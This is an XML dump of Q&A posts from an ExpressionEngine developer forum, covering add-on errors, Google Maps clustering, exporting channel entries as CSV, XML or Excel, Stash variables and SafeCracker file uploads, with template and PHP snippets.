  <row Id="505" PostTypeId="2" ParentId="500" CreationDate="2012-11-27T17:09:28.287" Score="0" Body="&lt;p&gt;My personal recommendation is &lt;a href=&quot;http://www.solspace.com/software/detail/favorites/&quot; rel=&quot;nofollow&quot;&gt;Solspace Favourites&lt;/a&gt; for this. We've used it for &quot;wish lists&quot; which could work as travel itineraries (if you're not too concerned about the time component).&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T17:09:28.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="506" PostTypeId="2" ParentId="499" CreationDate="2012-11-27T17:10:39.500" Score="5" Body="&lt;p&gt;That's because &lt;code&gt;SLASH&lt;/code&gt; is actually the encoded form of &lt;code&gt;/&lt;/code&gt;. Here's how it's set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('SLASH', '&amp;amp;#47;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-27T17:10:39.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="507" PostTypeId="1" AcceptedAnswerId="550" CreationDate="2012-11-27T17:12:14.460" Score="7" ViewCount="425" Body="&lt;p&gt;We are trying to setup Store in /webshop and are using RequireJs to setup the deps for each main part of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When loading a page with (from what i can see) any of Store's own javascripts, forms and such 1-2 errors are thrown.&#xA;I am guessing the first one has to do with the storeJs not liking that we are loading requireJs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: accounting is not defined &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Update:&#xA;  The error above breaks every page where Store's JS is used when i use require-jquery.js&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the other one is thrown from require.js.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught Error: Mismatched anonymous define() module: function (){return n}&#xA;http://requirejs.org/docs/errors.html#mismatch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I load a combined requirejs+jquery build (tested with a clean build) in the head of every page using js and require that pages specific .js in the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error seems to originate från &lt;strong&gt;line 338 in themes/third-party/store/store.js&lt;/strong&gt;&#xA;Adding an id to the define method seems to supress the warning but i cant say for effects elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had the same problem or know of a solution?&lt;/p&gt;&#xA;" OwnerUserId="329" LastEditorUserId="329" LastEditDate="2012-11-29T14:05:49.690" LastActivityDate="2012-11-29T14:05:49.690" Title="Javascript errors when using Exp-resso Store with requireJs" Tags="|add-on|expresso-store|javascript|requirejs|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="509" PostTypeId="2" ParentId="500" CreationDate="2012-11-27T17:14:50.697" Score="1" Body="&lt;p&gt;Personally I would go with Solspace Favorites. I've used a different method with safecracker but it's a bit more complicated and time-consuming.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2012-11-27T17:14:50.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="511" PostTypeId="2" ParentId="496" CreationDate="2012-11-27T17:22:52.030" Score="1" Body="&lt;p&gt;I don't know that this should be needed as the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#reverse-related-entries-tag-pair&quot; rel=&quot;nofollow&quot;&gt;docs for Reverse Related Entries&lt;/a&gt; certainly show it using custom fields just fine... but, you can use this quick plugin, &lt;a href=&quot;http://metasushi.com/downloads/ee/more-entries/more_entries-1.0.zip&quot; rel=&quot;nofollow&quot;&gt;More Entries&lt;/a&gt;, I just put up to do this. It basically is a {exp:channel:entries} tag with a different name, allowing you to call the tag within an existing {exp:channel:entries} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that as pointed out in the comments, it is still not a good idea to run database queries in a loop that is itself a result of a database query because the performance of the nested loops will be very bad. That said, if you're going to use an expensive embed and do it anyway, you might as well skip the embed and just run the query directly, which this plugin allows you to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;series&quot; status=&quot;open|hidden&quot; url_title=&quot;{segment_2}&quot; dynamic=&quot;off&quot;}&#xA;    {reverse_related_entries status='open|hidden' orderby='date' sort=&quot;desc&quot; limit='1'}&#xA;        {exp:more_entries entry_id=&quot;{entry_id}&quot; status=&quot;open|hidden&quot; dynamic=&quot;off&quot;}&#xA;            {whatever_field_here}&#xA;        {/exp:more_entries}&#xA;    {/reverse_related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this still won't let you parse the same channel in the nested more_entries loop because the outer {exp:channel:entries} will replace all of the fields before the plugin gets a chance to do it. I'll work on a version that works around this - it should be possible - but you'd need to still use Stash or an embed if you need to relate entries to their same channel.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-11-27T17:47:25.257" LastActivityDate="2012-11-27T17:47:25.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="512" PostTypeId="2" ParentId="496" CreationDate="2012-11-27T17:28:00.143" Score="3" Body="&lt;p&gt;Yes, just use Stash (you're using it already right, like everyone else? ;-))&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='series' status='open|hidden' url_title='{segment_2}' dynamic='off'}&#xA;  {exp:stash:set name=&quot;parent_title&quot;}{title}{/exp:stash:set}&#xA;  {reverse_related_entries status='open|hidden' orderby='date' sort=&quot;desc&quot; limit='1'}&#xA;    Reverse related content here&#xA;    {exp:stash:get name=&quot;parent_title&quot;}&#xA;  {/reverse_related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2012-11-27T17:38:04.500" LastActivityDate="2012-11-27T17:38:04.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="513" PostTypeId="2" ParentId="500" CreationDate="2012-11-27T17:37:54.620" Score="1" Body="&lt;p&gt;I was looking at this today, it might just be the thing you need! - &lt;a href=&quot;http://squarebit.co.uk/shortlist&quot; rel=&quot;nofollow&quot;&gt;http://squarebit.co.uk/shortlist&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-27T17:37:54.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="514" PostTypeId="1" AcceptedAnswerId="583" CreationDate="2012-11-27T17:41:15.040" Score="4" ViewCount="860" Body="&lt;p&gt;I'm using the clustering feature in Google Maps for EE version 3.0.190 to plot people on a map, but have a problem as some people have the exact same coordinates as they're based at the same address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm finding that the clustering marker shows this as 2 points, but as I keep zooming in, they never split. Until eventually, at the very last zoom level, the marker disappears completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to work around this at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map1&quot; class=&quot;gmap&quot; scrollwheel=&quot;false&quot; style=&quot;width:930px;height:700px&quot; clusterStyles=&quot;{url: '/assets/images/cluster-icon-blue.png', textColor: '#fff', textSize: '12', height: 52, width: 53, anchor: [0, 0]}&quot; overviewMapControl=&quot;true&quot; overviewMapControlOptions=&quot;{opened:true}&quot; zoom=&quot;6&quot; center=&quot;Silecroft&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;people&quot; status=&quot;open&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; limit=&quot;1000&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot;}&#xA;  {cf_people_geo_location id=&quot;map1&quot; show_one_window=&quot;true&quot; icon=&quot;/assets/images/map-icon-white.png&quot; infobox=&quot;true&quot; offsetY=&quot;0&quot; offsetX=&quot;15&quot; closeBoxMargin=&quot;5px&quot; class=&quot;ui-infobox-dark&quot; closeBoxURL=&quot;/themes/third_party/gmap/css/images/white-close-button.png&quot; style=&quot;width: '250px'&quot; clearanceX=&quot;10&quot; show_one_window=&quot;true&quot; clustering=&quot;true&quot; extend_bounds=&quot;false&quot;}&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/people/{url_title}/&quot; title=&quot;View {title}&quot;&amp;gt;{title} &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;  {/cf_people_geo_location}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-02-26T14:52:25.043" Title="Clustering two identical markers in Google Maps for EE" Tags="|google-maps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="515" PostTypeId="1" AcceptedAnswerId="532" CreationDate="2012-11-27T18:04:52.930" Score="8" ViewCount="7245" Body="&lt;p&gt;My client has asked me to export all data as a spreadsheet. This includes playa and matrix data. What method would you suggest for accomplishing this?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2022-05-27T13:27:32.130" Title="What is the best method for exporting channel entries as a spreadsheet?" Tags="|export|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="516" PostTypeId="2" ParentId="515" CreationDate="2012-11-27T18:11:56.817" Score="3" Body="&lt;p&gt;Is this just channel data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've always been a fan of using Zenbu for displaying channel data in the control panel, and now Zenbu Studios has released Hokuku (&lt;a href=&quot;http://zenbustudio.com/software/hokoku&quot; rel=&quot;nofollow&quot;&gt;http://zenbustudio.com/software/hokoku&lt;/a&gt;) which allows for exporting saved Zenbu searches in different formats, including CSV.&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2012-11-27T18:11:56.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="517" PostTypeId="2" ParentId="515" CreationDate="2012-11-27T18:23:57.653" Score="7" Body="&lt;p&gt;How much data? I am not a programmer, so I would accomplish this with a template - here's an example. PHP is on on output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$output_file='nameofmyexport.csv';&#xA;header(&quot;Content-type: application/download&quot;);&#xA;header('Content-Disposition: attachment;filename=&quot;' . $output_file . '&quot;');&#xA;?&amp;gt;  &#xA;&quot;Item name&quot;,&quot;Title&quot;,&quot;Date&quot;,&quot;Some data&quot;,&quot;Status&quot;&#xA;{exp:channel:entries limit=&quot;500&quot; channel=&quot;channel-name&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; status=&quot;not Closed&quot;}&quot;{item-name}&quot;,&quot;{title}&quot;,&quot;{entry_date format=&quot;%F %d %Y&quot;}&quot;,&quot;{some-data}&quot;,&quot;{status}&quot;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just an edited example of a template that I have in use, yours would likely have more content fields and it would output your playa and matrix data.  For the CSV, you have to have all of your tags squished together so that the output is in one row. Your hard returns have significance. This always requires a bit of trial and error for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I needed a very large quantity of data, I'd need to paginate this into multiple files. I have a limit here of 500 but that may be too much for some situations.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-11-27T18:23:57.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="518" PostTypeId="2" ParentId="515" CreationDate="2012-11-27T18:24:06.500" Score="4" Body="&lt;p&gt;I've done with just using a template and the native channels tags. You can configure it to any output you'd like. Then just saves the results to a file. I used XML since you can nest nodes (ie. matrix fields) and it's easy to import back in with &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the limit and offset params as needed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;products&amp;gt;&#xA;{exp:channel:entries&#xA;   channel=&quot;products&quot;&#xA;   disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;   dynamic=&quot;no&quot;&#xA;   limit=&quot;150&quot;&#xA;   offset=&quot;450&quot;&#xA;   require_entry=&quot;yes&quot;&#xA;}&#xA;   &amp;lt;product&amp;gt;&#xA;      &amp;lt;name&amp;gt;{title}&amp;lt;/name&amp;gt;&#xA;      &amp;lt;categories&amp;gt;{categories backspace=&quot;2&quot;}{category_name}, {/categories}&amp;lt;/categories&amp;gt;&#xA;      &amp;lt;model_num&amp;gt;{product_ci_model}&amp;lt;/model_num&amp;gt;&#xA;      &amp;lt;product_description&amp;gt;{if product_description}&amp;lt;![CDATA[{product_description}]]&amp;gt;{/if}&amp;lt;/product_description&amp;gt;&#xA;      &amp;lt;product_sizes&amp;gt;&#xA;         {product_sizes}&#xA;         &amp;lt;item&amp;gt;&#xA;            &amp;lt;model&amp;gt;{model_num}&amp;lt;/model&amp;gt;&#xA;            &amp;lt;length&amp;gt;{model_length}&amp;lt;/length&amp;gt;&#xA;            &amp;lt;width&amp;gt;{model_width}&amp;lt;/width&amp;gt;&#xA;            &amp;lt;height&amp;gt;{model_height}&amp;lt;/height&amp;gt;&#xA;         &amp;lt;/item&amp;gt;&#xA;         {/product_sizes}&#xA;      &amp;lt;/product_sizes&amp;gt;&#xA;      &amp;lt;colorchart_file&amp;gt;{product_color_chart}&amp;lt;/colorchart_file&amp;gt;&#xA;      &amp;lt;images&amp;gt;&#xA;      {product_images}&#xA;         &amp;lt;item&amp;gt;&#xA;            &amp;lt;alt&amp;gt;{img_alt}&amp;lt;/alt&amp;gt;&#xA;            &amp;lt;file&amp;gt;{img_file}&amp;lt;/file&amp;gt;&#xA;         &amp;lt;/item&amp;gt;&#xA;      {/product_images}&#xA;      &amp;lt;/images&amp;gt;&#xA;      &amp;lt;product_size_headings&amp;gt;&#xA;         {product_size_headings}&#xA;         &amp;lt;item&amp;gt;&#xA;            &amp;lt;length&amp;gt;{heading_length}&amp;lt;/length&amp;gt;&#xA;            &amp;lt;width&amp;gt;{heading_width}&amp;lt;/width&amp;gt;&#xA;            &amp;lt;height&amp;gt;{heading_height}&amp;lt;/height&amp;gt;&#xA;         &amp;lt;/item&amp;gt;&#xA;         {/product_size_headings}&#xA;      &amp;lt;/product_size_headings&amp;gt;&#xA;      &amp;lt;youtube_url&amp;gt;{youtube_video}&amp;lt;/youtube_url&amp;gt;&#xA;   &amp;lt;/product&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/products&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-27T18:24:06.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="519" PostTypeId="2" ParentId="489" CreationDate="2012-11-27T18:34:20.363" Score="5" Body="&lt;p&gt;It's pretty easy to save user-scoped data in Stash; by default this will expire at the end of the user's session. You could save just the entry ids or the whole entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list name=&quot;wishlist&quot; save=&quot;yes&quot; replace=&quot;yes&quot;}&#xA;{stash:entry_id}67{/stash:entry_id}&#xA;{/exp:stash:append_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-11-27T18:34:20.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="520" PostTypeId="2" ParentId="366" CreationDate="2012-11-27T18:51:33.717" Score="1" Body="&lt;p&gt;If you're feeling brave, you can also head to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;system/codeigniter/system/libraries/Pagination.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the opening and closing elements are there and you can override them. Just make a note of those changes so you can restore them after an upgrade.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2012-11-27T18:51:33.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="521" PostTypeId="2" ParentId="442" CreationDate="2012-11-27T18:52:39.397" Score="1" Body="&lt;p&gt;John D Wells mentioned this on his &lt;a href=&quot;http://johndwells.com/blog/stay-up-forever-take-control-of-ee-session-time-limit&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;, not me, but &quot;as of EE 2.2.&lt;em&gt;somethingorother&lt;/em&gt;, there are two new hidden configuration variables that allow you to control the session length of both CP users and front-end visitors. See &lt;strong&gt;User Session Length&lt;/strong&gt; and &lt;strong&gt;Control Panel Session Length&lt;/strong&gt; for more.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the &quot;Hidden Configuration Variables&quot; page: &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-11-27T18:52:39.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="522" PostTypeId="2" ParentId="515" CreationDate="2012-11-27T19:08:49.397" Score="4" Body="&lt;p&gt;I've had great success with &lt;a href=&quot;http://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;Export It&lt;/a&gt;. It handles all manner of third party fieldtypes, and support is phenomenal. The cost is worth the time it will save you in trying to construct an error-free export template.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-27T19:08:49.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="523" PostTypeId="1" AcceptedAnswerId="524" CreationDate="2012-11-27T19:10:07.493" Score="3" ViewCount="104" Body="&lt;p&gt;I've built a Fieldtype Addon and have a request to make it SafeCracker compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs are not very clear on how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/development.html#section_getting_it_to_work&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/development.html#section_getting_it_to_work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am including my own JS files for EE's CP and this works, if I add the JS file to the theme's folder will SafeCracker just work?&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="150" LastEditDate="2012-12-03T05:30:18.370" LastActivityDate="2012-12-03T05:30:18.370" Title="What do you need to do to make a Fieldtype Addon SafeCracker compatible?" Tags="|add-on|add-on-development|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="524" PostTypeId="2" ParentId="523" CreationDate="2012-11-27T19:15:08.770" Score="4" Body="&lt;p&gt;So long as you are using those approved methods for adding JS and CSS for your fieldtype, and your end-users aren't using &lt;code&gt;safecracker_head=&quot;no&quot;&lt;/code&gt;, yes, it will indeed work.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-27T19:15:08.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="525" PostTypeId="1" AcceptedAnswerId="543" CreationDate="2012-11-27T19:17:32.623" Score="4" ViewCount="447" Body="&lt;p&gt;I'm trying to figure out how to have more than 1 data table (filtering AJAX paginating table like the entry view in the Control Panel) on a page but there's a problem; the div used for pagination is hard coded in the JS. This means that the pagination icons all get stacked onto a single table and becomes unusable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/table.html#example-improving-usability-for-large-amounts-of-data&quot; rel=&quot;nofollow&quot;&gt;Table&lt;/a&gt; class and using a data source but am unclear if that will allow for multiple data tables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="150" LastEditDate="2012-11-27T20:16:08.737" LastActivityDate="2012-11-28T10:21:13.860" Title="How to have multiple data table layouts on a CP page?" Tags="|add-on|control-panel|jquery|table|add-on-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="526" PostTypeId="1" CreationDate="2012-11-27T19:17:38.203" Score="6" ViewCount="523" Body="&lt;p&gt;How can I rename files uploaded via Safecracker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, I would like to prefix the file name with the logged in user's username, convert to lower case &amp;amp; replace spaces with hyphens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using &lt;a href=&quot;https://github.com/rsanchez/safecracker_file_add_prefix/tree/lowercase-hyphens&quot;&gt;safecracker_file_add_prefix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it no longer works since I upgraded from 2.4.0 to 2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2014-09-16T09:29:46.917" Title="Safecracker File: Rename on Upload" Tags="|safecracker|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="527" PostTypeId="2" ParentId="450" CreationDate="2012-11-27T19:19:29.927" Score="4" Body="&lt;p&gt;I built my own config file, because I had a setup that most of the prebuilt configs didn't have... My normal setup is, Local, Staging (Located on subdirectory, inside a folder) and then Production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of hooks were added for NSM .htaccess, CE Image, CE Tweet etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just pushed the latest version of it to my Github.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/madebymayo/ExpressionEngine-Environment-Config&quot; rel=&quot;nofollow&quot;&gt;https://github.com/madebymayo/ExpressionEngine-Environment-Config&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2012-11-27T19:19:29.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="528" PostTypeId="2" ParentId="442" CreationDate="2012-11-27T19:23:39.333" Score="1" Body="&lt;p&gt;This is somewhat tangential, but I highly recommend your client use something like &lt;a href=&quot;http://1password.com/&quot; rel=&quot;nofollow&quot;&gt;1password&lt;/a&gt; to manage credentials instead of staying logged in for a long time,&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2012-11-27T19:23:39.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="529" PostTypeId="2" ParentId="500" CreationDate="2012-11-27T19:36:59.773" Score="1" Body="&lt;p&gt;Shortlist was built for a tourism site specifically for a users itinerary, it does not require a member to be logged in to use it. The dev (Joel) is very supportive and there's a nice little demo here: &lt;a href=&quot;http://shortlist.squarebit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://shortlist.squarebit.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2012-11-27T19:36:59.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="530" PostTypeId="2" ParentId="526" CreationDate="2012-11-27T19:44:25.363" Score="5" Body="&lt;p&gt;I believe this is due to a new change in the safecracker/libraries/safecracker_lib.php file for 2.5.3. It seems to be causing a lot of issues (like preventing the use of Safecracker in a Matrix field). Here's a forum link: &lt;a href=&quot;http://ellislab.com/forums/viewthread/224822/P18/#1040436&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/224822/P18/#1040436&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to line 230 in safecracker_lib.php and you'll see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if (isset($_FILES[$field['field_name']]['name']))&#xA;        {&#xA;            $_POST[$field['field_name']] = $_FILES[$field['field_name']];&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Comment out &lt;strong&gt;$_POST[$field['field_name']] = $_FILES[$field['field_name']];&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if (isset($_FILES[$field['field_name']]['name']))&#xA;        {&#xA;            /* HACK ppohler 11/13/2012, fix issue with Safecracker inside of Matrix */&#xA;            //$_POST[$field['field_name']] = $_FILES[$field['field_name']]['name'];&#xA;            /* HACK */&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now safecracker_add_prefix should work (as well as Matrix). Keep in mind you'll want to log that you've made this change in core somewhere in case you need to update EE.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="2539" LastEditDate="2013-12-30T13:04:59.610" LastActivityDate="2013-12-30T13:04:59.610" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="531" PostTypeId="2" ParentId="393" CreationDate="2012-11-27T19:51:32.673" Score="1" Body="&lt;p&gt;This is the use case for which I wrote &lt;a href=&quot;http://devot-ee.com/add-ons/category-sorted-entries-lite&quot; rel=&quot;nofollow&quot;&gt;Category Sorted Entries Lite&lt;/a&gt; (free) and, later, &lt;a href=&quot;http://devot-ee.com/add-ons/category-sorted-entries&quot; rel=&quot;nofollow&quot;&gt;Category Sorted Entries&lt;/a&gt; (commercial).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check them out, as I think they'll accomplish what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;n.b. NSM Categories is another great add-on with very similar functionality. It handles advanced custom fields (Matrix/Playa) a bit better, but doesn't include as many options for sorting and filtering by different category groups.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2012-11-27T19:51:32.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="532" PostTypeId="2" ParentId="515" CreationDate="2012-11-27T20:10:49.687" Score="16" Body="&lt;p&gt;For the sake of completeness you can create a spreadsheet by outputting a simple HTML table.&lt;/p&gt;&#xA;&lt;p&gt;You can use regular {exp:channel:entries} tag loops to output your table rows and some PHP as shown in another answer to get this to download as an Excel file rather than be rendered in the browser.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    header(&amp;quot;Content-type: application/vnd.ms-excel&amp;quot;);&#xA;header(&amp;quot;Content-Disposition: attachment; filename=myFile.xls&amp;quot;);&#xA;header(&amp;quot;Pragma: no-cache&amp;quot;);&#xA;header(&amp;quot;Expires: 0&amp;quot;);&#xA;?&amp;gt;&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;{exp:channel:entries channel='myChannel' limit='500' disable=&amp;quot;categories|member_data|pagination|trackbacks&amp;quot; status=&amp;quot;not Closed&amp;quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{first-field}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{second-field}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{third-field}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{you-get-the-idea}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="7705" LastEditDate="2022-05-27T13:27:32.130" LastActivityDate="2022-05-27T13:27:32.130" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="533" PostTypeId="2" ParentId="523" CreationDate="2012-11-27T20:21:12.540" Score="0" Body="&lt;p&gt;Just try adding your fieldtype to a Safecracker field and see whether you have any problems. Look for php errors, and javascript console errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the main issues you will run into will either be loading static css/js files which aren't accessible outside the control panel, or calling php functions which aren't accessible outside the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a fieldtype I added Safecracker support to was making an AJAX call to a method on my mcp file. I had to change this to a regular EE action so that it could be called from outside the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final thing to watch for is making sure your fieldtype looks alright with a white/different color background.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-27T20:21:12.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="536" PostTypeId="2" ParentId="388" CreationDate="2012-11-27T20:32:27.423" Score="4" Body="&lt;p&gt;I've tried several times to come up with THE SOLUTION to managing licenses for EE and add-ons, but at the end of the day I keep coming back to the humble Google Docs spreadsheet.  It's easily accessible, can be shared with our team, and puts all of the relevant info in the same place.&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="16" LastEditDate="2012-11-28T15:06:44.603" LastActivityDate="2012-11-28T15:06:44.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
